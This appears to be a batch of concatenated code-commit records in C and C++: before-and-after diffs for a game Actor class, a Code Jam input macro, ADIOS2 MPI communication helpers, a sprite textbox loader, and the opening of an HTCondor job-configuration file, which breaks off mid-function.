\"..\/Helper\/Logger.hpp\"\n\n\/\/  Used until proper model object is used to track rendering location\nconst Vertex txPos[] = {\n    Vertex(100.0f ,100.0f),\n    Vertex(132.0f ,100.0f),\n    Vertex(100.0f ,132.0f),\n    Vertex(132.0f ,132.0f),\n};\n\nActor::Actor(AnimationArray* animations, Animation* currentAnimation)\n{\n    m_pBody = 0;\n    \n    m_animations = animations;\n    m_currentAnimation = currentAnimation;\n}\nActor::Actor(Actor* actor)\n{\n    m_pBody = 0;\n    \n    Animation** newAnimations = new Animation*[actor->m_animations->m_size];\n    for (int i = 0; i < actor->m_animations->m_size; i++) {\n        newAnimations[i] = new Animation(actor->m_animations->m_animationArray[i]);\n    }\n    \n    m_animations = new AnimationArray(newAnimations, actor->m_animations->m_size);\n    m_currentAnimation = m_animations->m_animationArray[0];\n}\nvoid Actor::setPBody(PBody* pBody)\n{\n    m_pBody = pBody;\n}\nconst Vertex* Actor::getVertexData()\n{\n    if (m_pBody != 0) {\n        Vertex* v = new Vertex[m_pBody->getVectorArray()->m_size];\n        \n        for (int i = 0; i < m_pBody->getVectorArray()->m_size; i++) {\n            v[i] = Vertex(m_pBody->getVectorArray()->m_vectors[i]->m_x, m_pBody->getVectorArray()->m_vectors[i]->m_y);\n        }\n        \n        return v;\n    }\n    \n    return txPos;\n}\nconst Vertex* Actor::getTextureVertexData()\n{\n    if (m_currentAnimation == 0) {\n        Log(LOG_ERROR, \"Actor\", \"Current animation null!\");\n        return 0;\n    }\n    \n    return m_currentAnimation->getTextureVertexData();\n}\nint Actor::getTextureID()\n{\n    return m_currentAnimation->getTextureID();\n}\nvoid Actor::update(float dt){\n    m_currentAnimation->update(dt);\n}<|endoftext|>"}
{"text":"<commit_before>int main()\n{\n    freopen(\"in.txt\", \"r\", stdin);\n    freopen(\"A-small-attempt0.in\", \"r\", stdin);\n    freopen(\"A-small-attempt0.out\", \"w\", stdout);\n    freopen(\"A-large.in\", \"r\", stdin);\n    freopen(\"A-large.out\", \"w\", stdout);\n    int T, TC = 0;\n    scanf(\"%d\", &T);\n    while (++TC <= T)\n    {\n        printf(\"Case #%d: \", TC);\n        solve();\n    }\n    return 0;\n}\n<commit_msg>gcj use macro in out<commit_after>#define FRsmall(x,y) do{freopen(#x\"-small-attempt\"#y\".in\",\"r\",stdin);freopen(#x\"-small-attempt\"#y\".out\",\"w\",stdout);}while(0)\n#define FRlarge(x) do{freopen(#x\"-large.in\",\"r\",stdin);freopen(#x\"-large.out\",\"w\",stdout);}while(0)\n\nint main()\n{\n    freopen(\"in.txt\", \"r\", stdin);\n    FRsmall(A, 0);\n    FRlarge(A);\n    int T, TC = 0;\n    scanf(\"%d\", &T);\n    while (++TC <= T)\n    {\n        printf(\"Case #%d: \", TC);\n        solve();\n    }\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Wrapped boot into a transaction, shaves a couple of seconds<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*\n * Distributed under the OSI-approved Apache License, Version 2.0.  See\n * accompanying file Copyright.txt for details.\n *\n * adiosComm.tcc : specialization of template functions defined in\n * adiosComm.h\n *\/\n\n#ifndef ADIOS2_HELPER_ADIOSCOMM_TCC_\n#define ADIOS2_HELPER_ADIOSCOMM_TCC_\n\n#include \"adiosComm.h\"\n\n#include \"adios2\/common\/ADIOSMPI.h\"\n\n#include <stdexcept> \/\/std::runtime_error\n\nnamespace adios2\n{\nnamespace helper\n{\n\nnamespace\n{\n\nstd::vector<size_t> GetGathervDisplacements(const size_t *counts,\n                                            const size_t countsSize)\n{\n    std::vector<size_t> displacements(countsSize);\n    displacements[0] = 0;\n\n    for (size_t i = 1; i < countsSize; ++i)\n    {\n        displacements[i] = displacements[i - 1] + counts[i - 1];\n    }\n    return displacements;\n}\n\n}\n\n\/\/ GatherArrays full specializations forward-declared in 'adiosComm.inl'.\ntemplate <>\nvoid Comm::GatherArrays(const char *source, size_t sourceCount,\n                        char *destination, int rankDestination) const\n{\n    int countsInt = static_cast<int>(sourceCount);\n    int result = SMPI_Gather(const_cast<char *>(source), countsInt, MPI_CHAR,\n                             destination, countsInt, MPI_CHAR, rankDestination,\n                             m_MPIComm);\n\n    if (result != MPI_SUCCESS)\n    {\n        throw std::runtime_error(\"ERROR: in ADIOS2 detected failure in MPI \"\n                                 \"Gather type MPI_CHAR function\\n\");\n    }\n}\n\ntemplate <>\nvoid Comm::GatherArrays(const size_t *source, size_t sourceCount,\n                        size_t *destination, int rankDestination) const\n{\n    int countsInt = static_cast<int>(sourceCount);\n    int result = SMPI_Gather(const_cast<size_t *>(source), countsInt,\n                             ADIOS2_MPI_SIZE_T, destination, countsInt,\n                             ADIOS2_MPI_SIZE_T, rankDestination, m_MPIComm);\n\n    if (result != MPI_SUCCESS)\n    {\n        throw std::runtime_error(\"ERROR: in ADIOS2 detected failure in MPI \"\n                                 \"Gather type size_t function\\n\");\n    }\n}\n\n\/\/ GathervArrays full specializations forward-declared in 'adiosComm.inl'.\ntemplate <>\nvoid Comm::GathervArrays(const char *source, size_t sourceCount,\n                         const size_t *counts, size_t countsSize,\n                         char *destination, int rankDestination) const\n{\n    std::vector<size_t> displs;\n    if (rankDestination == this->Rank())\n    {\n        displs = GetGathervDisplacements(counts, countsSize);\n    }\n    this->Gatherv(source, sourceCount, destination, counts, displs.data(),\n                  rankDestination);\n}\n\ntemplate <>\nvoid Comm::GathervArrays(const size_t *source, size_t sourceCount,\n                         const size_t *counts, size_t countsSize,\n                         size_t *destination, int rankDestination) const\n{\n    std::vector<size_t> displs;\n    if (rankDestination == this->Rank())\n    {\n        displs = GetGathervDisplacements(counts, countsSize);\n    }\n    this->Gatherv(source, sourceCount, destination, counts, displs.data(),\n                  rankDestination);\n}\n\n\/\/ AllGatherArrays full specializations forward-declared in 'adiosComm.inl'.\ntemplate <>\nvoid Comm::AllGatherArrays(const size_t *source, const size_t sourceCount,\n                           size_t *destination) const\n{\n    int countsInt = static_cast<int>(sourceCount);\n    int result = MPI_Allgather(const_cast<size_t *>(source), countsInt,\n                               ADIOS2_MPI_SIZE_T, destination, countsInt,\n                               ADIOS2_MPI_SIZE_T, m_MPIComm);\n\n    if (result != MPI_SUCCESS)\n    {\n        throw std::runtime_error(\"ERROR: in ADIOS2 detected failure in MPI \"\n                                 \"Allgather type size_t function\\n\");\n    }\n}\n\n\/\/ ReduceValues full specializations forward-declared in 'adiosComm.inl'.\ntemplate <>\nunsigned int Comm::ReduceValues(const unsigned int source, MPI_Op operation,\n                                const int rankDestination) const\n{\n    unsigned int sourceLocal = source;\n    unsigned int reduceValue = 0;\n    SMPI_Reduce(&sourceLocal, &reduceValue, 1, MPI_UNSIGNED, operation,\n                rankDestination, m_MPIComm);\n    return reduceValue;\n}\n\ntemplate <>\nunsigned long int Comm::ReduceValues(const unsigned long int source,\n                                     MPI_Op operation,\n                                     const int rankDestination) const\n{\n    unsigned long int sourceLocal = source;\n    unsigned long int reduceValue = 0;\n    SMPI_Reduce(&sourceLocal, &reduceValue, 1, MPI_UNSIGNED_LONG, operation,\n                rankDestination, m_MPIComm);\n    return reduceValue;\n}\n\ntemplate <>\nunsigned long long int Comm::ReduceValues(const unsigned long long int source,\n                                          MPI_Op operation,\n                                          const int rankDestination) const\n{\n    unsigned long long int sourceLocal = source;\n    unsigned long long int reduceValue = 0;\n    SMPI_Reduce(&sourceLocal, &reduceValue, 1, MPI_UNSIGNED_LONG_LONG,\n                operation, rankDestination, m_MPIComm);\n    return reduceValue;\n}\n\n\/\/ BroadcastValue full specializations forward-declared in 'adiosComm.inl'.\ntemplate <>\nsize_t Comm::BroadcastValue(const size_t &input, const int rankSource) const\n{\n    int rank;\n    SMPI_Comm_rank(m_MPIComm, &rank);\n    size_t output = 0;\n\n    if (rank == rankSource)\n    {\n        output = input;\n    }\n\n    SMPI_Bcast(&output, 1, ADIOS2_MPI_SIZE_T, rankSource, m_MPIComm);\n\n    return output;\n}\n\ntemplate <>\nstd::string Comm::BroadcastValue(const std::string &input,\n                                 const int rankSource) const\n{\n    int rank;\n    SMPI_Comm_rank(m_MPIComm, &rank);\n    const size_t inputSize = input.size();\n    const size_t length = this->BroadcastValue(inputSize, rankSource);\n    std::string output;\n\n    if (rank == rankSource)\n    {\n        output = input;\n    }\n    else\n    {\n        output.resize(length);\n    }\n\n    SMPI_Bcast(const_cast<char *>(output.data()), static_cast<int>(length),\n               MPI_CHAR, rankSource, m_MPIComm);\n\n    return output;\n}\n\n\/\/ BroadcastVector full specializations forward-declared in 'adiosComm.inl'.\ntemplate <>\nvoid Comm::BroadcastVector(std::vector<char> &vector,\n                           const int rankSource) const\n{\n    int size;\n    SMPI_Comm_size(m_MPIComm, &size);\n\n    if (size == 1)\n    {\n        return;\n    }\n\n    \/\/ First Broadcast the size, then the contents\n    size_t inputSize = this->BroadcastValue(vector.size(), rankSource);\n    int rank;\n    SMPI_Comm_rank(m_MPIComm, &rank);\n\n    if (rank != rankSource)\n    {\n        vector.resize(inputSize);\n    }\n\n    const int MAXBCASTSIZE = 1073741824;\n    size_t blockSize = (inputSize > MAXBCASTSIZE ? MAXBCASTSIZE : inputSize);\n    char *buffer = vector.data();\n    while (inputSize > 0)\n    {\n        SMPI_Bcast(buffer, static_cast<int>(blockSize), MPI_CHAR, rankSource,\n                   m_MPIComm);\n        buffer += blockSize;\n        inputSize -= blockSize;\n        blockSize = (inputSize > MAXBCASTSIZE ? MAXBCASTSIZE : inputSize);\n    }\n}\n\ntemplate <>\nvoid Comm::BroadcastVector(std::vector<size_t> &vector,\n                           const int rankSource) const\n{\n    int size;\n    SMPI_Comm_size(m_MPIComm, &size);\n\n    if (size == 1)\n    {\n        return;\n    }\n\n    \/\/ First Broadcast the size, then the contents\n    size_t inputSize = this->BroadcastValue(vector.size(), rankSource);\n    int rank;\n    SMPI_Comm_rank(m_MPIComm, &rank);\n\n    if (rank != rankSource)\n    {\n        vector.resize(inputSize);\n    }\n\n    const int MAXBCASTSIZE = 1073741824 \/ sizeof(size_t);\n    size_t blockSize = (inputSize > MAXBCASTSIZE ? MAXBCASTSIZE : inputSize);\n    size_t *buffer = vector.data();\n    while (inputSize > 0)\n    {\n        SMPI_Bcast(buffer, static_cast<int>(blockSize), ADIOS2_MPI_SIZE_T,\n                   rankSource, m_MPIComm);\n        buffer += blockSize;\n        inputSize -= blockSize;\n        blockSize = (inputSize > MAXBCASTSIZE ? MAXBCASTSIZE : inputSize);\n    }\n}\n\n\/\/ Datatype full specializations forward-declared in 'adiosComm.inl'.\ntemplate <>\nMPI_Datatype Comm::Datatype<signed char>()\n{\n    return MPI_SIGNED_CHAR;\n}\n\ntemplate <>\nMPI_Datatype Comm::Datatype<char>()\n{\n    return MPI_CHAR;\n}\n\ntemplate <>\nMPI_Datatype Comm::Datatype<short>()\n{\n    return MPI_SHORT;\n}\n\ntemplate <>\nMPI_Datatype Comm::Datatype<int>()\n{\n    return MPI_INT;\n}\n\ntemplate <>\nMPI_Datatype Comm::Datatype<long>()\n{\n    return MPI_LONG;\n}\n\ntemplate <>\nMPI_Datatype Comm::Datatype<unsigned char>()\n{\n    return MPI_UNSIGNED_CHAR;\n}\n\ntemplate <>\nMPI_Datatype Comm::Datatype<unsigned short>()\n{\n    return MPI_UNSIGNED_SHORT;\n}\n\ntemplate <>\nMPI_Datatype Comm::Datatype<unsigned int>()\n{\n    return MPI_UNSIGNED;\n}\n\ntemplate <>\nMPI_Datatype Comm::Datatype<unsigned long>()\n{\n    return MPI_UNSIGNED_LONG;\n}\n\ntemplate <>\nMPI_Datatype Comm::Datatype<unsigned long long>()\n{\n    return MPI_UNSIGNED_LONG_LONG;\n}\n\ntemplate <>\nMPI_Datatype Comm::Datatype<long long>()\n{\n    return MPI_LONG_LONG_INT;\n}\n\ntemplate <>\nMPI_Datatype Comm::Datatype<double>()\n{\n    return MPI_DOUBLE;\n}\n\ntemplate <>\nMPI_Datatype Comm::Datatype<long double>()\n{\n    return MPI_LONG_DOUBLE;\n}\n\ntemplate <>\nMPI_Datatype Comm::Datatype<std::pair<int, int>>()\n{\n    return MPI_2INT;\n}\n\ntemplate <>\nMPI_Datatype Comm::Datatype<std::pair<float, int>>()\n{\n    return MPI_FLOAT_INT;\n}\n\ntemplate <>\nMPI_Datatype Comm::Datatype<std::pair<double, int>>()\n{\n    return MPI_DOUBLE_INT;\n}\n\ntemplate <>\nMPI_Datatype Comm::Datatype<std::pair<long double, int>>()\n{\n    return MPI_LONG_DOUBLE_INT;\n}\n\ntemplate <>\nMPI_Datatype Comm::Datatype<std::pair<short, int>>()\n{\n    return MPI_SHORT_INT;\n}\n\n} \/\/ end namespace helper\n} \/\/ end namespace adios2\n\n#endif \/* ADIOS2_HELPER_ADIOSCOMM_TCC_ *\/\n<commit_msg>helper: Implement Comm::GatherArrays in terms of our encapsulation<commit_after>\/*\n * Distributed under the OSI-approved Apache License, Version 2.0.  See\n * accompanying file Copyright.txt for details.\n *\n * adiosComm.tcc : specialization of template functions defined in\n * adiosComm.h\n *\/\n\n#ifndef ADIOS2_HELPER_ADIOSCOMM_TCC_\n#define ADIOS2_HELPER_ADIOSCOMM_TCC_\n\n#include \"adiosComm.h\"\n\n#include \"adios2\/common\/ADIOSMPI.h\"\n\n#include <stdexcept> \/\/std::runtime_error\n\nnamespace adios2\n{\nnamespace helper\n{\n\nnamespace\n{\n\nstd::vector<size_t> GetGathervDisplacements(const size_t *counts,\n                                            const size_t countsSize)\n{\n    std::vector<size_t> displacements(countsSize);\n    displacements[0] = 0;\n\n    for (size_t i = 1; i < countsSize; ++i)\n    {\n        displacements[i] = displacements[i - 1] + counts[i - 1];\n    }\n    return displacements;\n}\n\n}\n\n\/\/ GatherArrays full specializations forward-declared in 'adiosComm.inl'.\ntemplate <>\nvoid Comm::GatherArrays(const char *source, size_t sourceCount,\n                        char *destination, int rankDestination) const\n{\n    this->Gather(source, sourceCount, destination, sourceCount,\n                 rankDestination);\n}\n\ntemplate <>\nvoid Comm::GatherArrays(const size_t *source, size_t sourceCount,\n                        size_t *destination, int rankDestination) const\n{\n    this->Gather(source, sourceCount, destination, sourceCount,\n                 rankDestination);\n}\n\n\/\/ GathervArrays full specializations forward-declared in 'adiosComm.inl'.\ntemplate <>\nvoid Comm::GathervArrays(const char *source, size_t sourceCount,\n                         const size_t *counts, size_t countsSize,\n                         char *destination, int rankDestination) const\n{\n    std::vector<size_t> displs;\n    if (rankDestination == this->Rank())\n    {\n        displs = GetGathervDisplacements(counts, countsSize);\n    }\n    this->Gatherv(source, sourceCount, destination, counts, displs.data(),\n                  rankDestination);\n}\n\ntemplate <>\nvoid Comm::GathervArrays(const size_t *source, size_t sourceCount,\n                         const size_t *counts, size_t countsSize,\n                         size_t *destination, int rankDestination) const\n{\n    std::vector<size_t> displs;\n    if (rankDestination == this->Rank())\n    {\n        displs = GetGathervDisplacements(counts, countsSize);\n    }\n    this->Gatherv(source, sourceCount, destination, counts, displs.data(),\n                  rankDestination);\n}\n\n\/\/ AllGatherArrays full specializations forward-declared in 'adiosComm.inl'.\ntemplate <>\nvoid Comm::AllGatherArrays(const size_t *source, const size_t sourceCount,\n                           size_t *destination) const\n{\n    int countsInt = static_cast<int>(sourceCount);\n    int result = MPI_Allgather(const_cast<size_t *>(source), countsInt,\n                               ADIOS2_MPI_SIZE_T, destination, countsInt,\n                               ADIOS2_MPI_SIZE_T, m_MPIComm);\n\n    if (result != MPI_SUCCESS)\n    {\n        throw std::runtime_error(\"ERROR: in ADIOS2 detected failure in MPI \"\n                                 \"Allgather type size_t function\\n\");\n    }\n}\n\n\/\/ ReduceValues full specializations forward-declared in 'adiosComm.inl'.\ntemplate <>\nunsigned int Comm::ReduceValues(const unsigned int source, MPI_Op operation,\n                                const int rankDestination) const\n{\n    unsigned int sourceLocal = source;\n    unsigned int reduceValue = 0;\n    SMPI_Reduce(&sourceLocal, &reduceValue, 1, MPI_UNSIGNED, operation,\n                rankDestination, m_MPIComm);\n    return reduceValue;\n}\n\ntemplate <>\nunsigned long int Comm::ReduceValues(const unsigned long int source,\n                                     MPI_Op operation,\n                                     const int rankDestination) const\n{\n    unsigned long int sourceLocal = source;\n    unsigned long int reduceValue = 0;\n    SMPI_Reduce(&sourceLocal, &reduceValue, 1, MPI_UNSIGNED_LONG, operation,\n                rankDestination, m_MPIComm);\n    return reduceValue;\n}\n\ntemplate <>\nunsigned long long int Comm::ReduceValues(const unsigned long long int source,\n                                          MPI_Op operation,\n                                          const int rankDestination) const\n{\n    unsigned long long int sourceLocal = source;\n    unsigned long long int reduceValue = 0;\n    SMPI_Reduce(&sourceLocal, &reduceValue, 1, MPI_UNSIGNED_LONG_LONG,\n                operation, rankDestination, m_MPIComm);\n    return reduceValue;\n}\n\n\/\/ BroadcastValue full specializations forward-declared in 'adiosComm.inl'.\ntemplate <>\nsize_t Comm::BroadcastValue(const size_t &input, const int rankSource) const\n{\n    int rank;\n    SMPI_Comm_rank(m_MPIComm, &rank);\n    size_t output = 0;\n\n    if (rank == rankSource)\n    {\n        output = input;\n    }\n\n    SMPI_Bcast(&output, 1, ADIOS2_MPI_SIZE_T, rankSource, m_MPIComm);\n\n    return output;\n}\n\ntemplate <>\nstd::string Comm::BroadcastValue(const std::string &input,\n                                 const int rankSource) const\n{\n    int rank;\n    SMPI_Comm_rank(m_MPIComm, &rank);\n    const size_t inputSize = input.size();\n    const size_t length = this->BroadcastValue(inputSize, rankSource);\n    std::string output;\n\n    if (rank == rankSource)\n    {\n        output = input;\n    }\n    else\n    {\n        output.resize(length);\n    }\n\n    SMPI_Bcast(const_cast<char *>(output.data()), static_cast<int>(length),\n               MPI_CHAR, rankSource, m_MPIComm);\n\n    return output;\n}\n\n\/\/ BroadcastVector full specializations forward-declared in 'adiosComm.inl'.\ntemplate <>\nvoid Comm::BroadcastVector(std::vector<char> &vector,\n                           const int rankSource) const\n{\n    int size;\n    SMPI_Comm_size(m_MPIComm, &size);\n\n    if (size == 1)\n    {\n        return;\n    }\n\n    \/\/ First Broadcast the size, then the contents\n    size_t inputSize = this->BroadcastValue(vector.size(), rankSource);\n    int rank;\n    SMPI_Comm_rank(m_MPIComm, &rank);\n\n    if (rank != rankSource)\n    {\n        vector.resize(inputSize);\n    }\n\n    const int MAXBCASTSIZE = 1073741824;\n    size_t blockSize = (inputSize > MAXBCASTSIZE ? MAXBCASTSIZE : inputSize);\n    char *buffer = vector.data();\n    while (inputSize > 0)\n    {\n        SMPI_Bcast(buffer, static_cast<int>(blockSize), MPI_CHAR, rankSource,\n                   m_MPIComm);\n        buffer += blockSize;\n        inputSize -= blockSize;\n        blockSize = (inputSize > MAXBCASTSIZE ? MAXBCASTSIZE : inputSize);\n    }\n}\n\ntemplate <>\nvoid Comm::BroadcastVector(std::vector<size_t> &vector,\n                           const int rankSource) const\n{\n    int size;\n    SMPI_Comm_size(m_MPIComm, &size);\n\n    if (size == 1)\n    {\n        return;\n    }\n\n    \/\/ First Broadcast the size, then the contents\n    size_t inputSize = this->BroadcastValue(vector.size(), rankSource);\n    int rank;\n    SMPI_Comm_rank(m_MPIComm, &rank);\n\n    if (rank != rankSource)\n    {\n        vector.resize(inputSize);\n    }\n\n    const int MAXBCASTSIZE = 1073741824 \/ sizeof(size_t);\n    size_t blockSize = (inputSize > MAXBCASTSIZE ? MAXBCASTSIZE : inputSize);\n    size_t *buffer = vector.data();\n    while (inputSize > 0)\n    {\n        SMPI_Bcast(buffer, static_cast<int>(blockSize), ADIOS2_MPI_SIZE_T,\n                   rankSource, m_MPIComm);\n        buffer += blockSize;\n        inputSize -= blockSize;\n        blockSize = (inputSize > MAXBCASTSIZE ? MAXBCASTSIZE : inputSize);\n    }\n}\n\n\/\/ Datatype full specializations forward-declared in 'adiosComm.inl'.\ntemplate <>\nMPI_Datatype Comm::Datatype<signed char>()\n{\n    return MPI_SIGNED_CHAR;\n}\n\ntemplate <>\nMPI_Datatype Comm::Datatype<char>()\n{\n    return MPI_CHAR;\n}\n\ntemplate <>\nMPI_Datatype Comm::Datatype<short>()\n{\n    return MPI_SHORT;\n}\n\ntemplate <>\nMPI_Datatype Comm::Datatype<int>()\n{\n    return MPI_INT;\n}\n\ntemplate <>\nMPI_Datatype Comm::Datatype<long>()\n{\n    return MPI_LONG;\n}\n\ntemplate <>\nMPI_Datatype Comm::Datatype<unsigned char>()\n{\n    return MPI_UNSIGNED_CHAR;\n}\n\ntemplate <>\nMPI_Datatype Comm::Datatype<unsigned short>()\n{\n    return MPI_UNSIGNED_SHORT;\n}\n\ntemplate <>\nMPI_Datatype Comm::Datatype<unsigned int>()\n{\n    return MPI_UNSIGNED;\n}\n\ntemplate <>\nMPI_Datatype Comm::Datatype<unsigned long>()\n{\n    return MPI_UNSIGNED_LONG;\n}\n\ntemplate <>\nMPI_Datatype Comm::Datatype<unsigned long long>()\n{\n    return MPI_UNSIGNED_LONG_LONG;\n}\n\ntemplate <>\nMPI_Datatype Comm::Datatype<long long>()\n{\n    return MPI_LONG_LONG_INT;\n}\n\ntemplate <>\nMPI_Datatype Comm::Datatype<double>()\n{\n    return MPI_DOUBLE;\n}\n\ntemplate <>\nMPI_Datatype Comm::Datatype<long double>()\n{\n    return MPI_LONG_DOUBLE;\n}\n\ntemplate <>\nMPI_Datatype Comm::Datatype<std::pair<int, int>>()\n{\n    return MPI_2INT;\n}\n\ntemplate <>\nMPI_Datatype Comm::Datatype<std::pair<float, int>>()\n{\n    return MPI_FLOAT_INT;\n}\n\ntemplate <>\nMPI_Datatype Comm::Datatype<std::pair<double, int>>()\n{\n    return MPI_DOUBLE_INT;\n}\n\ntemplate <>\nMPI_Datatype Comm::Datatype<std::pair<long double, int>>()\n{\n    return MPI_LONG_DOUBLE_INT;\n}\n\ntemplate <>\nMPI_Datatype Comm::Datatype<std::pair<short, int>>()\n{\n    return MPI_SHORT_INT;\n}\n\n} \/\/ end namespace helper\n} \/\/ end namespace adios2\n\n#endif \/* ADIOS2_HELPER_ADIOSCOMM_TCC_ *\/\n<|endoftext|>"}
{"text":"<commit_before>#include \"gum\/TextboxSprLoader.h\"\n#include \"gum\/TextboxLoader.h\"\n#include \"gum\/Config.h\"\n\n#include <sprite2\/TextboxSprite.h>\n#include <sprite2\/TextTable.h>\n#include <sprite2\/UpdateParams.h>\n#include <simp\/NodeLabel.h>\n\nnamespace gum\n{\n\nTextboxSprLoader::TextboxSprLoader(s2::TextboxSprite& spr)\n\t: m_spr(spr)\n{\n}\n\nvoid TextboxSprLoader::LoadJson(const Json::Value& val)\n{\n\tconst Json::Value& text_val = val[\"text\"];\n\n\tTextboxLoader loader(m_spr.GetTextbox());\n\tloader.LoadJson(text_val);\n\n\tCU_STR text = text_val[\"text\"].asString().c_str();\n\tif (text.empty()) {\n\t\ttext = s2::TextTable::Instance()->Query(\n\t\t\tConfig::Instance()->GetLanguage(), text_val[\"tid\"].asString().c_str());\n\t}\n\tm_spr.SetText(s2::UpdateParams(), text);\n}\n\nvoid TextboxSprLoader::LoadBin(const simp::NodeLabel* node)\n{\n\tTextboxLoader loader(m_spr.GetTextbox());\n\tloader.LoadBin(node);\n\t\n\tif (node->text) {\n\t\tm_spr.SetText(s2::UpdateParams(), node->text);\n\t} else if (node->tid) {\n\t\tauto text = s2::TextTable::Instance()->Query(\n\t\t\tConfig::Instance()->GetLanguage(), node->tid);\n\t\tm_spr.SetText(s2::UpdateParams(), text);\n\t}\n}\n\n}<commit_msg>[CHANGED] up s2, add tid<commit_after>#include \"gum\/TextboxSprLoader.h\"\n#include \"gum\/TextboxLoader.h\"\n#include \"gum\/Config.h\"\n\n#include <sprite2\/TextboxSprite.h>\n#include <sprite2\/TextTable.h>\n#include <sprite2\/UpdateParams.h>\n#include <simp\/NodeLabel.h>\n\nnamespace gum\n{\n\nTextboxSprLoader::TextboxSprLoader(s2::TextboxSprite& spr)\n\t: m_spr(spr)\n{\n}\n\nvoid TextboxSprLoader::LoadJson(const Json::Value& val)\n{\n\tconst Json::Value& text_val = val[\"text\"];\n\n\tTextboxLoader loader(m_spr.GetTextbox());\n\tloader.LoadJson(text_val);\n\n\tCU_STR text = text_val[\"text\"].asString().c_str();\n\tif (text.empty()) {\n\t\ttext = s2::TextTable::Instance()->Query(\n\t\t\tConfig::Instance()->GetLanguage(), text_val[\"tid\"].asString().c_str());\n\t}\n\tm_spr.SetText(s2::UpdateParams(), text);\n\n\tCU_STR tid = text_val[\"text\"].asString().c_str();\n\tm_spr.SetTID(tid);\n}\n\nvoid TextboxSprLoader::LoadBin(const simp::NodeLabel* node)\n{\n\tTextboxLoader loader(m_spr.GetTextbox());\n\tloader.LoadBin(node);\n\t\n\tif (node->text) {\n\t\tm_spr.SetText(s2::UpdateParams(), node->text);\n\t} else if (node->tid) {\n\t\tauto text = s2::TextTable::Instance()->Query(\n\t\t\tConfig::Instance()->GetLanguage(), node->tid);\n\t\tm_spr.SetText(s2::UpdateParams(), text);\n\t}\n}\n\n}<|endoftext|>"}
{"text":"<commit_before><commit_msg>Do not use QOverload for compatibility with older Qt5 (Linux Mint) Fixes #30<commit_after><|endoftext|>"}
{"text":"<commit_before>\/***************************************************************\n *\n * Copyright (C) 1990-2007, Condor Team, Computer Sciences Department,\n * University of Wisconsin-Madison, WI.\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\"); you\n * may not use this file except in compliance with the License.  You may\n * obtain a copy of the License at\n * \n *    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n ***************************************************************\/\n\n\n#include \"condor_common.h\"\n#include \"condor_config.h\"\n#include \"condor_debug.h\"\n#include \"condor_attributes.h\"\n#include \"domain_tools.h\"\n\n#include \"jic_local_config.h\"\n\n\nJICLocalConfig::JICLocalConfig( const char* keyword, int cluster, \n\t\t\t\t\t\t\t\tint proc, int subproc ) : JICLocal()\n{\n\tif( keyword ) {\n\t\tkey = strdup( keyword );\n\t} else {\n\t\tEXCEPT( \"Can't instantiate a JICLocalConfig object without \"\n\t\t\t\t\"a keyword\" );\n\t}\n\tjob_cluster = cluster;\n\tjob_proc = proc;\n\tjob_subproc = subproc;\n\tjob_ad = new ClassAd();\n\tmach_ad = new ClassAd();\n}\n\n\nJICLocalConfig::JICLocalConfig( int cluster, int proc, int subproc ) \n\t: JICLocal()\n{\n\t\t\/\/ this is the protected version that doesn't care if there's\n\t\t\/\/ no key...  \n\tkey = NULL;\n\tjob_cluster = cluster;\n\tjob_proc = proc;\n\tjob_subproc = subproc;\n\tjob_ad = new ClassAd();\n\tmach_ad = new ClassAd();\n}\n\n\n\nJICLocalConfig::~JICLocalConfig()\n{\n\tif( key ) {\n\t\tfree( key );\n\t}\n}\n\n\nbool\nJICLocalConfig::getLocalJobAd( void )\n{ \n\tif( ! key ) {\n\t\tdprintf( D_ALWAYS, \"ERROR: Cannot get job ClassAd from config file \"\n\t\t\t\t \"without a keyword, aborting\\n\" );\n\t\treturn false;\n\t}\n\n\tdprintf( D_ALWAYS, \"Getting job ClassAd from config file \"\n\t\t\t \"with keyword: \\\"%s\\\"\\n\", key );\n\n\t\t\/\/ first, things we absolutely need\n\tif( ! getUniverse() ) { \n\t\treturn false;\n\t}\n\tif( ! getString( 1, ATTR_JOB_CMD, \"executable\") ) {\n\t\treturn false;\n\t}\n\tif( ! getString( 1, ATTR_JOB_IWD, \"initialdir\") ) {\n\t\treturn false;\n\t}\n\n#if defined ( WIN32 )\t\n\t\t\/\/ Windows \"owners\" may be of the form domain\\user,\n\t\t\/\/ so we'll need to parse it...\n\tMyString buffer;\n\tbuffer.formatstr( \"%s_%s\", key, ATTR_OWNER );\n\tchar *owner_defined = param( buffer.Value () );\n\tif ( owner_defined ) {\t\t\t\n\t\t\t\/\/ On Windows we need to set RunAsOwner for it to \n\t\t\t\/\/ respect the owner attribute (but only when the \n\t\t\t\/\/ starter allows it).\n\t\tbool run_as_owner = param_boolean( \n\t\t\t\"STARTER_ALLOW_RUNAS_OWNER\", false, true, NULL, job_ad );\n\t\tif ( run_as_owner ) {\n\t\t\t\t\/\/ Add the RunAsOwner attribute:\n\t\t\tjob_ad->Assign( ATTR_JOB_RUNAS_OWNER, true );\n\t\t\t\t\/\/ Parse the OWNER attribute and add the new\n\t\t\t\t\/\/ OWNER and NTDOMAIN attributes:\n\t\t\tchar const *local_domain = \".\";\n\t\t\tchar *name = NULL, *domain = NULL;\n\t\t\tgetDomainAndName ( owner_defined, domain, name );\n\t\t\tjob_ad->Assign( OWNER, name );\n\t\t\tjob_ad->Assign( ATTR_NT_DOMAIN, domain ? domain : local_domain );\n\t\t} else {\n\t\t\tdprintf( D_ALWAYS, \"Local job \\\"Owner\\\" defined, \"\n\t\t\t\t\"but will not be used: please set \"\n\t\t\t\t\"STARTER_ALLOW_RUNAS_OWNER to True to \"\n\t\t\t\t\"enable this.\\n\" );\n\t\t}\n\t\tfree( owner_defined );\n\t}\t\t\n#else\n\t\t\/\/ ATTR_OWNER only matters if we're running as root, and we'll\n\t\t\/\/ catch it later if we need it and it's not defined.  so,\n\t\t\/\/ just treat it as optional at this point.\n\tgetString( 0, ATTR_OWNER, NULL );\n#endif \n\n\t\t\/\/ now, optional things\n\tgetString( 0, ATTR_JOB_INPUT, \"input\" );\n\tgetString( 0, ATTR_JOB_OUTPUT, \"output\" );\n\tgetString( 0, ATTR_JOB_ERROR, \"error\" );\n\tgetString( 0, ATTR_JOB_ARGUMENTS1, \"arguments\" );\n\tgetString( 0, ATTR_JOB_ARGUMENTS2, \"arguments2\" );\n\tgetString( 0, 